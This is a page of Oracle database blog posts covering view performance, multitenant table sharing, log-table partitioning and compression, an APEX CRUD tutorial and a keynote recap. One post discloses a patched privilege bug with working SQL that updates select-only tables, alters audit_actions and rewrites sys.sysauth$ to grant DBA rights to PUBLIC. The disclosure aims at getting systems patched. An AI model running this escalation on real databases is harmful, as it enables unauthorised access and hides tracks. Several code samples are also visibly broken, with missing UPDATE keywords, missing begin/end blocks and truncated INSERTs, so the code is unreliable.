Category: Oracle

May 15th, 2019 by Mathias

Views are great. They simplify design, makes code look more elegant and hides complexity. They also enables reuse by putting complex code in just one place instead of in every accessing piece of code.


There once was a large project that has been churning away for a long time. The performance of having more than one user on the system was horrendous. But it was chalked up to misconfiguration.

I am asked to spend a day giving said configuration a quick glance.

I start looking and am simultaneous asked to write code to make it possible to generate large volumes of data. These two efforts leads deep into their design.

It turns out a creative way to model the data was hidden in a layer of views. On top of those views there were other views. Something happened here with performance and it was painful beyond belief.

The data model had to be completely changed to allow SQL to properly navigate it in a relational fashion. But the views was a much bigger problem. It had ended up being an object oriented persons wet dream. Multiple things was subclassed that in the relational world would be one. Here is a completely made up example, the data was of a different kind but to make it less obvious for outsiders what I’m referring I’ve changed what was represented.

There was different kinds of people, lets say managers, project leaders and individual contributors. Each of these were in their own table. Those people had access to one or more vehicles, tractor, bicycles and cars. Each vehicle was placed in it’s own table.

These subclassed tables were essentially identical. It could have been one table. In fact the code needed to be able to deal with people as one entity and vehicles as another. To achieve this one view for each was created that put them back together via a union all + order by.

Next up was the access for these things together (what vehicles a certain person has), to achieve this a new view was created that did a join of the persons view with the vehicles view. Now this work just fine in development with some 30 persons and 30 vehicles.

When the data grows, it does not work at all. The reason being that a unioned dataset cannot be joined with another unioned dataset using indexes, especially when the data being unioned does not reside in the same table.

What ended up happening was that all views were fully materialized and sorted, then the join happened and out of it we pulled a single record. And then it was done again. This caused a massive performance issue and not even a big EXADATA helped the performance.

Of course to make matters worse, an ORM was put between actual code and the database. So what really happened was even more hidden. The developers did not understand the database and the database folks could not read and understand the SQL passed in by Hibernate.

My report stated that I saw no way for this to work and I could not see a way to fix it without doing a major redesign. It finished off with saying I realize it will not happen as it will be months upon months of rework for the whole project and that cost was not going to be accepted.

I come in the morning after and am told to drop everything. I get to redesign it the way I want and no limits are placed on the design. Nine months later the application has completed a rewrite for the data model and access model I have built. It is by far the best performing application at the site.

Did we learn from this to design data model before code. No, that is not the hip way to do it. What people took away even though I explained why this happened time after time is “Views are bad, you cannot get good performance with them.”.


Posted in Oracle, Performance

May 14th, 2019 by Mathias

Talking about Multi Tenant and applications, one has to talk about the different options for sharing. It is one of the great features of multi tenant.

It is a way to let one PDB – the application root –  have data that can be used from other PDBs.

There are three kinds that allow you to get different features of the sharing.

  1. Metadata
  2. Data
  3. Extended Data

Lets review each kind and why and how you’d use it.


This allows you to create a table in the application container and also add data to it. However upon syncing it to an application PDB, only the tables structure is copied. The data is local to each PDB.

This would be useful to install the same schema structure in many PDBs. Say that each PDB is used for a different customers data. Or that you in test want to quickly set up the schemas a new PDB needs. Then each schema is a different application in the application root and you just sync the ones you need.

In testing this may be one of the greatest features in the database to drive productivity in getting new PDBs ready for developers.


Data is the direct opposite of a metadata shared table. It makes it so the table can be found in an application PDB, but all data is stored in the table defined in the application root.

This is a great feature when you have a system that manages the data, but many other systems needs to read it. It becomes a master data of sorts without even copying the data to every target system. Each application can use it as if it was a table local to them and the data is always exactly what the source system has.

For production where one system created data that is used by many other systems. For example a system that holds all you products or all people that are or have been customers. Or in test it can be all the reference data your systems use. No need to copy it into every single PDB, set it up once and let every PDB just have read access.

Extended Data

Extended Data is a hybrid of Data and Metadata. It allows the data and table to exist in both the application root and in the application PDB. From the PDB, you see the data in the root as well as the data in the PDB. Data can be written and modified in the PDBs data.

This can be used in systems where all systems should have a base of information, but that new data can be created in each localized version for a customer (in their own PDB).

It can also be used in testing to get every tester a base of test data which they can add more data to.


Using the different versions of sharing for tables in a multi tenant setup can greatly enhance your ability to support developers and testers to be more productive as well as to deliver key features in production in a very nice way.

Used the right way, application containers in multi tenant is probably in itself worth the price of admission.

Posted in DBA, Oracle

May 12th, 2019 by Mathias

Everyone should have their own local development environment. No matter if you write Java and that just means IDE and JDG, or if you work with databases. Not having it reduces your learning a lot. I have yet to meet a really sharp database expert who does not have a local personal environment. It also goes the other way around, you can usually guess if a person has it or not.

Yes, you can get a database by just downloading a VM or use or hack in a database your employer provides. But to be able to extend and really do all the things that should be possible, you need your very own.

I have before made one documented setup available to friends and colleagues. However with docker and automation being in vogue it was time to make the jump from VirtualBox and just a textual description to a scripted setup for docker.

Fortunately Gerald Venzl has done the heavy lifting and led work to get both Oracle XE updated as well as getting docker files for all kinds of good things published. Using that I got the database and Java installed in different docker containers. I then managed to extend the Having that readydatabase to include an APEX-installation and the Java-installation to extend with ORDS and make them play nicely. I rounded it off with a utility-container for SQLcl.

So with that it builds a complete development environment with the database (which of course includes SQL*Plus), APEX, ORDS, and SQLcl. All that is needed is to run a couple of scripts to get it going. Having a development environment that can be rebuilt in a few minutes is a great feeling. I knew I had to get to that point after my premade environment went belly up at DOAG in 2018. It went completely corrupt minutes before my presentation, making it for the most stressful presentation to date. Never again! Famous last words…

Anyway, take a look at my development environment setup on github.

When you have tested that, you can of course activate the REST-features as you have a complete connected ORDS-config.

Posted in APEX, Docker, Oracle

October 11th, 2018 by Mathias

FIrst of all, kudos to  Tim Hall. This is one of the great times of the year when all these thankful blogs are posted in a day. If you read nothing else in the blogs all year, picking some of them would not be a bad choice.

Speaking of which, I will talk about being thankful for blogs in general. No, not about the new ones explaining all the new features we get in new versions. While that is very fascinating and motivates me to play with new tech, it is not the great thing with blogs.

What I think is great with blogs is old blogs. Yes, there may be few things as unsexy as old forgotten blog posts.

When there is an issue to resolve or a concept to get up to speed on, there are few things better than the blogs written  a year or ten ago. But are not everyone experts on everything when some time has passed. Nope, not even one person is a specialist on every facet of Oracle database technology.

Sometimes it is one thing one knows fairly well but needs a to understand edge cases, experiences, when not to use and so forth. Then a short google session generates a reading list as good as any book.

A few examples of blogs I have stumbled on that was not published this year but that provided great information and input follows. They are just things from the top of my mind when thinking back about such blogs.

Tobias Arnhold wrote about views provided by APEX. It shows a SQL listing all the views and shows the views hierarchical relationship. Not only was that useful, but a side effect was that I realized this was available as well as that the relationship could be found in metadata. It is a post over six years old, often thought of long forgotten. Still very applicable. In fact,  Tobias may even have forgotten the post himself, it is even more applicable today as there have been a lot of views added to the ones available back in 2012,

Another  great one is Connor McDonalds@connor_mc_d –post from early 2016 on auditing row changes. It is a great collection of all the things provided to uyou to avoid auditing columns, tables, triggers and so forth. Including a complete test case and demo from start to finish. Still two years old, but when needed it is a great start.

Then there are of course classics like Toon Koppelaars blog The Helsinki Declaration (IT-Version) that starts with the IT-version of it. If you have not read the four posts it consists of, you owe it to yourself to do so. Go back to the beginning. It should be mandatory reading for how to build database intensive applications.

I leave it at those to not extend this post more than necessary. But it shows the value of the combined effort of the community to write down small and big things as we come across them. There is immense value in those posts long after they have been written. Some are even more valuable a few years later when the world and the technology has matured enough to make it mainstream.




Posted in Blogging, Oracle, ThanksODC

June 18th, 2014 by Mathias

A friend and at the time co-worker at Kentor AB found this bug. He found the bug and had the tenacity to track down and prove that it was a bug and not just a flaw in the logging mechanism where this first was indicated to occur.

Today is the day when I can finally speak about a bug I asked for a peer review on over a year ago. I had to pull that blog post offline when it was clear that we had in deed found what I think is a monster bug. It was difficult to fix so while it was quiet online about the bug, Oracle was hard at work on fixing it. In fact it turned out to be two different bugs each plugged separately.

Before we get to the meat of the issue, have you applied the January 2014 CPU? No? OK, we’ll wait while you take care of that. Trust me, you want to have it installed. Back already? Good. Patching really doesn’t take too long. 🙂

I’ve spent a number of years trying to very diligently apply the correct grants for different users to make sure every user had just what they needed. It turns out it was a wasted effort. Had the users known about this bug, they could have circumvented their lack of access. Truth be told, I really have no idea if someone did. In fact the bug was such that it was abused in production at a large Oracle shop by mistake. This bug is present in all versions of the database (as far as we know) and it has been fixed with the latest CPU for 11g and 12c. If you run on an older version, you should upgrade now! Running older than 11 at this point probably means you’re not reading blogs about databases anyway.

So what exactly is the bug then? In short, you can update data in tables you only have select rights on. How can that be, you’ve tested that multiple times. True, the SQL has to be written in a pretty specific way to trigger the bug. In a database that is a base install or at least predates the january CPU, the following test case should prove the issue. You can use most of this to verify the problem, you will probably not ant to test with privilege escalation in a production system though.

Let us first create som users for our test.

drop user usra cascade;
create user usra identified by usra default tablespace users;
alter user usra quota unlimited on users;
grant connect to usra;
grant create table to usra;
drop user usrb cascade;
create user usrb identified by usrb;
grant connect to usrb;
grant create view to usrb;
drop user usrc cascade;
create user usrc identified by usrc;
grant connect to usrc;
grant select any dictionary to usrc;

We create a user usra that can create tables, usrb that can create views and usrc that can only select from the dictionary. These users will allow us to test the different versions of this bug in a controlled fashion.

Lets set up a test table in the usra account.
create table t1 (col_a varchar2(10) not null);
insert into t1 (col_a) values ('Original');
grant select on t1 to usrb;

We now have a table with a single row that usrb can only read from, or so we would think. Let us first create a very basic view and try to update it.
drop view view1;
create view view1 as select * from usra.t1;
update view1 set col_a = 'Whoops1';

So that didn’t work. Or rather, the view was created but the update failed. That is how it should be, we have no update access on the table.

Lets now try to create a view on that view which we then update to see what happens if we add just a little bit of complexity to this.

drop view view2;
create view view2 as select * from view1 where col_a in (select max (col_a) from view1 group by col_a);
update view2 set col_a = 'Whoops2';

This update suddenly works (before the above mentioned CPU). So our meticulously granted privileges are overridden by a view with a sub-select on the same view. Not good.

Could the sub-select be simplified? Does it need to select from the same view and is an aggregation needed to make this bug expose itself?

drop view view3;
create view view3 as select * from view1 where 1 in (select 1 from dual);
update view3 set col_a = 'Whoops3';

Apparently it could not be simplified enough to just do a sub-select from dual. On to other possible simplifications.

What if we just read a hard-coded value from the first row in the table, would that work?
drop view view4;
create view view4 as select * from view1 where 1 in (select 1 from view1 where rownum = 1);
update view4 set col_a = 'Whoops4';

Yup, that is enough to break through the privileges.

How about just using a select without even having to have the right to create a view?
(with x as (select * from usra.t1) select * from x) t1
set col_a = 'Whops5';

Ouch. That too was possible. So all it takes is a select access on a table and we can update it. How do we stop someone from abusing this when not even a pure select with no right to create objects is enough? You see why we pulled the original blog-post? This was for a time something that would be very hard to defend your database against.

How about using it to update things in the data dictionary, yes that too is possible. Some things are available to any user such as user_actions.

(with x as (select * from audit_actions) select * from x) t1
set name = 'Mathias was here';

This update also works. So auditing can be changed, probably not a good thing if you trust your audit_actions table.

How about escalating the privileges we have (or rather that anyone has). Yes, that is also possible with a bit of knowledge.

select * from sys.sysauth$
where grantee# = (select user_id from all_users where username = 'HR')
and rownum = 1;

Here we steal a privilege held by the HR user, probably a privilege that will not be missed for a long time in most databases. With this we will make public a proper DBA user meaning that any account can do almost anything in the database.

(with x as (select * from sys.sysauth$ where grantee# = 103 and privilege# = -264 and sequence# = 1551)
select * from x) t1
set grantee# = 1
,privilege# = 4;

Just like that we have given ourselves and everyone else DBA access. Now we can do whatever we want including covering our tracks in most databases.

So I ask again, are you *really* sure that your database is secure?

This is scary stuff and this only goes to show that even a mature product needs to be kept up with current patches. If you are not on a CPU from this year, PLEASE give it a high priority to make it happen today.

And PLEASE do not test this in production. If you do and your DBA catches you, he will lecture you forever if not reporting you up the chain of command. But please do spread the word that this issue exists and needs to be plugged ASAP.

Posted in Bug, DBA, Oracle, Security

June 12th, 2013 by Mathias


This is the last post in this series and I’ll not introduce anything new here, but rather just summarise the changes explained and talk a bit about the value the solution delivers to the organisation.

Let’s first review the situation we faced before implementing the changes.

The cost of writing the log-records to the database was that all the parallell writing from many different sources was such that it introduced severe bottlenecks to the point that the logging feature had to be turned off days at a time. This was not acceptable but rather than shutting down the whole system which would put lives in immediate danger, this was the only option available. Then even if that would have been fast enough, the moving of data was taking over twice the time available and it was fast approaching the point where data written in 24 hours would take more time to move to the historical store for log-data. That would of course have resulted in an ever growing backlog even if the data move was on 24×7. On top of that the data took up 1.5 TB of disk space, costing a lot of money and raising concerns with out ability to move it to EXADATA.

To resolve the issue during business hours of having contention causing a crippling impact on the overall system, we changed the table setup to not have any primary keys, no foreign keys and no indexes. We made the tables partitioned such that we get one partition per day.

To make the move from operational tables to historical tables faster, we opted to have both in the same instance on EXADATA. This allowed us to use partition exchange to swap out the partition from the operational table and swap it into the historical table. This took just a second as all we did was updating some metadata for which table the partition belongs to. Note that this ultra fast operation replaced a process that used to take around 16 hours, for which we had 6.5 and the time it took was expanding as business was growing.

Finally, to reduce the space consumed on disk we used HCC – Hybrid Columnar Compression. This is an EXADATA only feature for compressing data such that columns with repeating values gets a very good compression ratio. We went from 1.5 TB to just over 100 GB. This means that even with no purging of data it would take us over five years to even get back to the amount of storage this used to require.

So in summary

  • During business hours we use 20% of the computing power and even less of the wall clock time it used to take,
  • The time to move data to the historical store was reduced from around 16 hours to less than one second.
  • Disk space requirement was reduced from 1.5 TB to just over 100 GB.

And all of this was done without changing one line of code, in fact there was no rebuild, no configuration change or anything to allow this drastic improvement to work with all the different systems that was writing to these log-tables.

One more thing to point out here is that all these changes was done without using traditional SQL. The fact that it  is an RDBMS does not mean that we have to use SQL to resolve every problem. In fact, SQL is often not the best tool for the job. It is also worth to note that these kinds of optimisations cannot be done by an ORM, it is not what they do. This is what your performance or database architect needs to do for you.

For easy lookup, here are links to the posts in this series.

  1. Introduction
  2. Writing log records
  3. Moving to history tables
  4. Reducing storage requirements
  5. Wrap-up (this post)

Posted in DBA, EXA, Oracle, Partitioning, Performance Tagged with: , , ,

June 5th, 2013 by Mathias

Reducing storage requirements

In the last post in this series I talked about how we sped up the move of data from operational to historical tables from around 16 hours down to just seconds. You find that post here.

The last area of concern was the amount of storage this took and would take in the future. As it was currently taking 1.5 TB it would be a fairly large chunk of the available storage and that raised concerns for capacity planning and for availability of space on the EXADATA for other systems we had plans to move there.

We set out to see what we could do to both estimate max disk utilisation this disk space would reach as well as what we could do to minimize the needed disk space. There were two considerations  minimize disk utilisation at the same time as query time should not be worsened. Both these were of course to be achieved without adding a large load to the system, especially not during business hours.

The first attempt was to just compress one of the tables with the traditional table compression. After running the test across the set of tables we worked with, we noticed a compression ratio of 57%. Not bad, not bad at all. However, this was now to be using an EXADATA. One of the technologies that are EXADATA only (to be more technically correct, only available with Oracle branded storage) is HCC. HCC stands for Hybrid Columnar Compression. I will not explain how it is different from normal compression in this post, but as the name indicates the compression is based around columns rather than on rows as traditional compression is. This can achieve even better results, at least that is the theory and the marketing for EXADATA says that this is part of the magic sause of EXADATA. Time to take it out for a spin.

After having set it up for our tables having the same exact content as we had with the normal compression, we had a compression rate of 90%. That is 90% of the needed storage was reduced by using HCC. I tested the different options available for the compression (query high and low as well as archive high and low), and ended up choosing query high. My reasoning there was that the compression rate of query high over query low was improved enough and the processing power needed was well worth it. I got identical results on query high and archive low. It took the same time, resulted in the same size dataset and querying took the same time. I could not tell that they were different in any way. Archive high however  is a different beast. It took about four times the processing power to compress and querying too longer and used more resources too. As this is a dataset I expect the users to want to run more and more queries against when they see that it can be done in a matter of seconds, my choice was easy, query high was easily the best for us.

How do we implement it then? Setting a table to compress query high and then run normal inserts against it is not achieving a lot. There is some savings with it, but it is just marginal compared to what can be achieved. For HCC to kick in, we need direct path writes to occur. As this data is written once and never updated, we can get everything compressed once the processing day is over. Thus, we set up a job to run thirty minutes past midnight which compressed the previous days partition. This is just one line in the job that does the move of the partitions described in the last post in this series.

The compression of  one very active day takes less than two minutes. In fact, the whole job to move and compress has run in less than 15 seconds for each days compression since we took this solution live a while back. That is a time well worth the 90% saving in disk consumption we achieve.

It is worth to note that while HCC is an EXADATA feature not available in most Oracle databases, traditional compression is available. Some forms of it requires licensing, but it is available so while you may not get the same ratio as described in this post you can get a big reduction in disk space consumption using the compression method available to you.

With this part the last piece of the puzzle fell in place and there were no concerns left with the plan for fixing the issues the organisation had with managing this log data. The next post in this serie will summarise and wrap up what was achieved with the changes described in this serie.

Posted in DBA, Oracle, Partitioning, Performance Tagged with: , , ,

March 15th, 2013 by Mathias

In this post I’ll finish up the CRUD implementation using records, procedures and views. This series of blog posts started with this post which was followed by this.

At this point we have a working report that links to a form. The report is based on a view and the form is based on a procedure. At this point the form is only loading the record in using a procedure that uses a record in its signature. In this post we’ll complete the functionality by using the same form for insert, update, and delete functionality.

Let’s start with adding a mode page item to the form. We will use this to know if the form is invoked in insert or in update/delete mode.

  • Right-click on “Form on Stored Procedure” on the page where your form is (page 4 in my example)
  • Select “Create Page Item”
  • Select Hidden
  • Give the page item a name, like P4_MODE.
  • Click “Next”
  • Click “Next” (again)
  • Select “Create Item”

You now have a new page item which is not displayed, but whose value you can reference on this page.

To make this example easy, we’ll start with just implementing update functionality. But first we’ll go to the report and change this link column to pass in a “U” for the mode page item when it is clicked.

In the page with the report, perform the following steps.

  • Right-click “List of Employees”
  • Click “Edit Report Attributes”
  • Scroll down to “Link Column”
  • For Item 2, enter the name and value we want the newly created page item to be set to. P4_MODE and U in my case.
  • Apply Changes

Now with that done, let’s head back to the page with the form. But before we make any changes there, we need to change the package to add a procedure for updating a row in the emp table.

Here is the code for the procedure we’ll use.

create or replace package tb_access as
  type t_emp_rec is record (empno emp.empno%TYPE
                           ,ename emp.ename%TYPE);

  procedure read_emp(p_in_empno     in emp.empno%type
                    ,p_out_emp_rec out t_emp_rec);

  procedure write_emp(p_in_empno    in emp.empno%type
                     ,p_in_emp_rec  in t_emp_rec);
end tb_access;
create or replace package body tb_access as
  procedure read_emp(p_in_empno in emp.empno%type
                    ,p_out_emp_rec out t_emp_rec) is
      select empno
        into p_out_emp_rec.empno
        from emp
       where empno = p_in_empno;
  end read_emp;
  procedure write_emp(p_in_empno   in emp.empno%type
                     ,p_in_emp_rec in t_emp_rec) is
      update emp
         set ename = p_in_emp_rec.ename
       where empno = p_in_empno;
  end write_emp;
end tb_access;

This code adds the procedure write_emp wich also takes empno and the record used for read_emp, only this time they are both in parameters as we’ll not return any data from the procedure that writes to the table. The actual code in the procedure is a very simple update that sets the name to the ename in the record for the row that has the empno passed in.

With this in place we’re ready to change the form to call this procedure upon submit. We do this by taking the code used for reading in the record (The process in page rendering) and put it into the “Run Stored Procedure” process we commented out in page processing.

The code we copy looks like this:

  in_emp_rec tb_access.t_emp_rec;

  tb_access.read_emp(p_in_empno    => :p4_empno
                    ,p_out_emp_rec => in_emp_rec);

  :p4_ename := in_emp_rec.ename;

Replace the code in “Run Stored Procedure” with the above and change it to look like this:

  in_emp_rec tb_access.t_emp_rec;

  in_emp_rec.ename := :p4_ename;

  tb_access.write_emp(p_in_empno    => :p4_empno
                     ,p_out_emp_rec => in_emp_rec);

In the “Run Stored Procedure” change the condition to “- Select condition type -” to not have a condition for when the process is executed. It is currently conditioned on running only when the save button is clicked, leave that condition on for now.

With that in place, it is time to test the functionality of the forms new functionality. Run the report, click on the link and update the name of an employee. Assuming you followed the above and got the changes made in the right places, the form will now update the name of the employee.

The next step in this will be to add insert functionality to the form. First off is to set up the package to support inserting an employee. As we’re now going to have both insert and update through the same procedure, we need to include the mode in the signature of the procedure.

Let’s first update the package specification so the write_emp looks like this:

  procedure write_emp(p_in_empno    in emp.empno%type
                     ,p_in_mode     in varchar2
                     ,p_in_emp_rec  in t_emp_rec);

The procedure in the package needs to be updated to look like this:

  procedure write_emp(p_in_empno   in emp.empno%type
                     ,p_in_mode    in varchar2
                     ,p_in_emp_rec in t_emp_rec) is
      case p_in_mode
        when 'U' then
          update emp
             set ename = p_in_emp_rec.ename
           where empno = p_in_empno;
        when 'I' then
          insert into emp
           values((select max(empno) + 1 from emp) 
      end case;
  end write_emp;

Before the form is functional again, we need to change the call in “Run Stored Procedure” to match the new signature of write_emp.

  in_emp_rec tb_access.t_emp_rec;

  in_emp_rec.ename := :p4_ename;

  tb_access.write_emp(p_in_empno    => :p4_empno
                     ,p_in_mode     => :p4_mode
                     ,p_in_emp_rec  => in_emp_rec);

With that change in place the form now works and the mode we set on the link column is now passed to the procedure to make sure an update is performed and not an insert.

To introduce insert functionality, we want to add a new button on the page with the report that invokes the form in insert mode. To add the button follow these steps on the page with the report.

  • Right-click on “List of Employees”
  • Select “Create Region Button”
  • Set name and label to “Add”
  • Click Next
  • Set position to “Right of Interactive Report Search Bar”
  • Set Alignment to “Left”
  • Click Next.
  • Select action “Redirect to Page in this Application”
  • Set the page to your form-page (4 in my example)
  • Set Request to INSERT
  • Set “Clear Cache” to 4
  • Set “Set these items” to P4_MODE
  • Set “With these values” to I.
  • Click Next.
  • Click “Create Button”

If you test the page, you’ll see that it ends up immediately to the right of the search bar. Do not click on the button just yet.

Now go to the page with the form and open the process in rendering (Read Emp).

  • Set “Condition Type” to “Value of item / column in expression 1 = expression 2”.
  • Set Expression 1 to P4_MODE.
  • Set Expression 2 to U
  • Apply Changes

This ensures that we’re only reading a row from emp when updating data. When inserting, there is no data to be read and displayed.

You may also want to set the same condition on the page item for empno to hide it when inserting as there is no empno to display then.

Test the function now by running the report page and click on the “Add” button. It adds a row with the name you enter on the form. The rest of the columns will have null as their value. Adding more columns in the procedures and on the form is an exercise left to the reader.

With the function now supporting insert and update, it is time to add the delete function so we can get rid of some of the test employees we’ve created. This function will be implemented only on the form and by adding supporting code in the package. Thus, the delete will be performed by clicking on the link and then clicking on a delete button on the form.

To implement this we’ll update the implementation of the write_emp procedure once more.

  procedure write_emp(p_in_empno   in emp.empno%type
                     ,p_in_mode    in varchar2
                     ,p_in_emp_rec in t_emp_rec) is
      case p_in_mode
        when 'I' then
          insert into emp
           values((select max(empno) + 1 from emp) 
        when 'U' then
          update emp
             set ename = p_in_emp_rec.ename
           where empno = p_in_empno;
        when 'D' then
          delete from emp
           where empno = p_in_empno;
      end case;
  end write_emp;

With the package updated, our next step is to change the code in the “Run Stored Procedure” process on the form page.

  in_emp_rec tb_access.t_emp_rec;
  v_mode     varchar2(1);
  in_emp_rec.ename := :p4_ename;
  v_mode           := :p4_mode;

  if :REQUEST = 'DELETE' then
    v_mode := 'D';
  end if;

  tb_access.write_emp(p_in_empno    => :p4_empno
                     ,p_in_mode     => v_mode
                     ,p_in_emp_rec  => in_emp_rec);

The code is now changed such that a click on the delete button (not implemented yet) will set the mode to D. This is done by checking the REQUEST which we will set to DELETE for the button we’ll create now. REQUEST is a standard attribute available on buttons and branches in APEX. By setting it to a unique value, we can check for different invocation methods in code. This allows us to deal with different scenarios with just one block of code.

To add the button, follow these steps.

  • On the form-page, right-click on “Form on Stored Procedure”.
  • Select “Create Region Button”
  • Set “Button Name” and “Label” to “Delete”.
  • Click Next
  • Set “Position” to “Top of Region”
  • Set Alignment to “Left”
  • Click Next
  • Click Next (again)
  • Click Create Button

The value of “Button Name” is used to set REQUEST when the page is submitted. With this in place our form should now support deleting rows also. Update the branch on the page to not have a condition on the button pressed. Take it out for a spin.

There is one thing left to do, hide the delete button when the form is invoked to add a row.

  • Right-click the delete-button under rendering.
  • Select “Edit”.
  • Scroll down to conditions.
  • Set “Condition Type” to “Value of item / column in expression 1 = expression 2”.
  • Set Expression 1 to P4_MODE.
  • Set Expression 2 to U
  • Apply Changes

Now you’ve got a CRUD solution based on an interactive report with a form that supports insert, Update, and Delete. The total amount of code required is very small and you still have isolated the APEX-application from changes to the table structure by using a view, even the record can have fields added to it without impacting the functionality of your application. Developing using the demonstrated methods here allows you to create these applications almost as fast as with making them table based, but you have much more control and can make a lot of changes without touching the application,

Posted in APEX, Oracle, PL/SQL, SQL

April 13th, 2011 by Mathias

Quite a while ago I wrote about how to seup the alert log as an external table. Since then 11g has been introduced and is now widely used. It of couse changes the location and makes the alert log an xml file.

While it is possible to select from it using xml functions like Laurent Schneider does here, it is still a bit cumbersome.

Tanel Poder (@TanelPoder) found a nicer way by using X$DBGALERTEXT which does a really nice job of parsing the xml-file into a lot of different columns. A friend at work, Daniel Ekberg, let me know about it a while back. I just never got around to looking into it until today.

It is very nice but there is one slight issue with it. It is X$ and thereby only available to SYSDBA. That can of course be solved with a view and proper grants and synonyms. However, views on X$ can cause some issues during upgrades so such views should probably be dropped before upgrading.

While not documented, this is a neat way to gain access to a lot of information from the xml.log (alert-log).

Posted in Alert Log, DBA, Oracle, SQL, XML

October 3rd, 2010 by Mathias

Yes, this post is a little out of order as it clearly didn't take place after the Thursday afternoon sessions. I missed it during the conference so I had to catch up on it later on the on demand site. I thought it was interesting enough to write up a few notes.

It was held by Tom Kyte and the subject was "What's new in database development". It'd be more correct to say Oracle development than database development as he covered just about any area that Oracle focuses on.

He started with APEX and spent a lot of time on it. The coverage APEX gets in general sessions and the number of really good APEX sessions speaks volumes about how strong APEX is becoming within the Oracle development technologies.

Tom shared a little background of how APEX was built by Mike Hitchwa when Mike set next to Tom and wrote the initial code for APEX. Anyone that has been impressed with the way bind variables are handled in APEX got their explanation for why. Tom has relentlessly been preaching about how to to it and the issues caused when not done well. So it all makes sense when you hear that it was Tom who wrote the initial code for bind variable handling in APEX.

Tom went on to say that they are seeing a lot of momentum behind APEX right now. The catch phrase he used to explain why it grows fast in popularity was "Easy architecture, easy to deploy, and easy to run".

Tom then spent some time talking about performance of APEX as a lot of people still thinks it is not able to handle enterprise level system demands.

The site that is used to run all the applications people create on Oracles hosted apex "test and demo" site has a surprisingly small computer running it. The specifications for it is:

  • Poweredge 1950
  • 2 Dual core Xeon 2.33 Ghz
  • 32 GB Ram
  • Cost : $4,300 (in 2007)
  • Runs 11G database

Not a very big computer to serve a site that provides support to anone who wants to try APEX.

Tom shared som of the numbers for what is used for.

  • They had 3.5 million views (pages loaded and processed) last week.
  • Distinct users accessing during the week: 3028
  • Total workspaces :9062
  • Applications: 32776

I'd think most "enterprise" systems would have less demand than that.

Some of the biggest things on are:

  • SQL Developer updates 800K hits /week
  • Pro MED (Prodution system) 770K hits / week
  • Asktom 250K-1000K hits / week
  • APEX Appbuilder 238K hits / week
  • JDeveloper updates 175K hits / week

Impressive to serve all of that from a small(ish) computer.

Tom then shared some key features from the 4.0 release.


Designed for the enduser and designed for webbased content sharing. A solution that allows endusers to stop mailing exceldocuments around would be a good thing…

Dynamic Actions

Declarative client-side behavior. It is integrated in the framework. Uses JQuery.

This allows using common javascript function for handling advanced user interface improvements. From validations to drag and drop and more.

Team Development

Allows you to manage the application development process within APEX. This makes APEX able to be used by large development projects. It has built in end-user feedback. When a user has a problem they can tell you directly in the application and it feeds into the team development features.

Oracle APEX Listener

Built in Java.

It is a good alternative to mod_plsql and it is certified against WLS and Glassfish.

After that long piece on APEX, Tom went through som improvements for other technologies.

SQL Developer

The datamodeller is now free. It will now come with the product and will be supported with the database (just like SQL Developer itself).

It has real-time SQL monitoring. It will allow you to see what part of the execution plan Oracle is currently spending time in for a SQL. This exists in Enterprise Manager, but this gives the insight to many more as EM often is just used by the DBAs.

It can now find the SQL trace file and display the contents graphically in SQL Developer. This ought to make trace files much more accessible to developers.

It has support for AWR and ASH reports and has added developer specefic things that are not available in the other AWR/ASH aware tools.

A hierarchical profiler is now also included to allow you to see what functions calls which in a run of PL*SQL code.

SQL Developer now used PL/SCOPE data to show information about where variables are defined and used, This is something that has been added to the database and can alays be accessed with SQL, but it is more convenient to have it hooked into the development tool.

They have also added a DBA Navigator that allows DBAs to access most things they deal with in the database. Most objects (such as extents and tablespaces) can be seen and modified.

An interface for DBMS_SCHEDULER has been added. It is supposedly a much nicer way to configure jobs than to do it by have, which can be both tedious and complicated.

Another neat feature is that auto tracing has been improved to not only allow tracing of a statement, you can now trace two statements and see a comparison report of the tracing so you can compare them. Since this usually has been done with Toms "Runstats" package, I'd assume this feature has Toms fingers all over it.


It is free and provides native access to the database. It has statement caching (on the client side) and will support TimesTen in

I'm not a .Net person at all , but it sounds as if this provides a lot of benefits both in use and in performance. If you work with .Net, then you will want to take a look at all the things Oracle provides in this area.


There is a Universal Connection Pool for all technologies using connection pools to use. This is supposed to reduce the overhead caused by having several connection pools.

For Secure Files there has apparently been a performance issue dealing with very large files, my understanding from Toms presentation is that it resulted in double buffering. Now there is Zero Copy which sounded as if it would remove all buffering and thereby improve the speed significantly.

Database Improvements

Tom focused on the optimizer and on developer related topics as this was a Develop keynote.

Tom showed how the optimizer could detect a three-way join that was not needed. It was a fairly complicated situation, but the optimizer can apparently completely skip accessing tables now if they are not needed for the end result.


Edition based redefinition is available in a editions of 11G. Tom thinks this is the killer feature of 11G, and says that it may be the first time the killer feature is available in all editions and with no additional licensing requirements.

It allows live changing of code (PL and views). Live changing of data can already be done with online redefinition and online actions on indexes.

The process now is:

  • Create new edition
  • Test new edition of the code while users still use the old.
  • Two options for rolling out
    • Let new sessions use the new one and allow old to keep using the old edition.
    • Switch everyone over to the new when the system is "idle". Takes just seconds.

That was the end of Toms presentation. He covered a lot of technologies, even some that are not mentioned above (like Ruby). WHat I think is interesting is what wasn't mentioned at all.

The fist one that comes to mind is JDeveloper. It has not become very popular with Java purists and it is not mentioned at all. There are some rumors of it being de-emphasized by Oracle as how you work with it seems to be very far from how most Java projects want to organize their builds and deployments.

Next interesting omission is the technology mostly integrated with JDeveloper. No mention at all on the Oracle Develop for their key Java development framework. ADF did not get any love at all and that is not true just for this presentations, there were very few mentions of it in any of the presentations I attended. True, I did not seek out ADF sessions, but virtually every single presentation on non APEX technologies found a way to talk about APEX, the oposite was true for ADF. Even when you felt that someone was building up to a plug for ADF, they never went there.

The lack of love for ADF and JDeveloper may mean that they are not considered critical to Oracles success anymore. I assume ADF was used to build the fusion applications which would mean that the tool and product is probably not going away, but could it mean that they are primarily being focused for large product development and not something that is good for custom development projects?

Personally it feels as if ADF is now essentially becoming a tool used when integrating with Oracle (fusion) Apps or Oracle SOA Suite. I'm not sure a custom development project would end up using ADF. Of course there will be exceptions to that, but they will probably be fewer and fewer.

It could also be that JDeveloper and ADF starts becoming less and less of something for the customers and more and more of an internal tool at Oracle. I'm sure they have very specialized versions and techniques used in development to help the development of the fusion applications.

